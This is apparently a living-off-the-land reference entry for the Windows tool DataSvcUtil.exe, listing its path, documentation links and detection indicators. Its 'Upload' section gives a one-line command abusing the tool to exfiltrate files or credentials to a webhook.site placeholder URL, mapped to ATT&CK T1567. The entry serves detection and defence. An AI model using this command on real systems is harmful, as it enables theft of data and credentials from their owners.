





# /DataSvcUtil.exe

☆ Star

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Upload

DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.

**Paths:**

C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe

**Resources:**

- <https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe>
- <https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services>
- <https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services>

**Acknowledgements:**

- lalle Teixeira (@NtSetDefault)

**Detections:**

- Sigma: [proc\\_creation\\_win\\_lolbin\\_data\\_exfiltration\\_by\\_using\\_datasvcutil.yml](#)
- IOC: The DataSvcUtil.exe tool is installed in the .NET Framework directory.
- IOC: Preventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS.
- IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil.

## Upload

Upload file, credentials or data exfiltration in general

```
DataSvcUtil /out:C:\Windows\System32\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile
```

<b>Use case:</b>	Upload file
<b>Privileges required:</b>	User
<b>Operating systems:</b>	Windows 10
<b>ATT&amp;CK® technique:</b>	<a href="#">T1567: Exfiltration Over Web Service</a>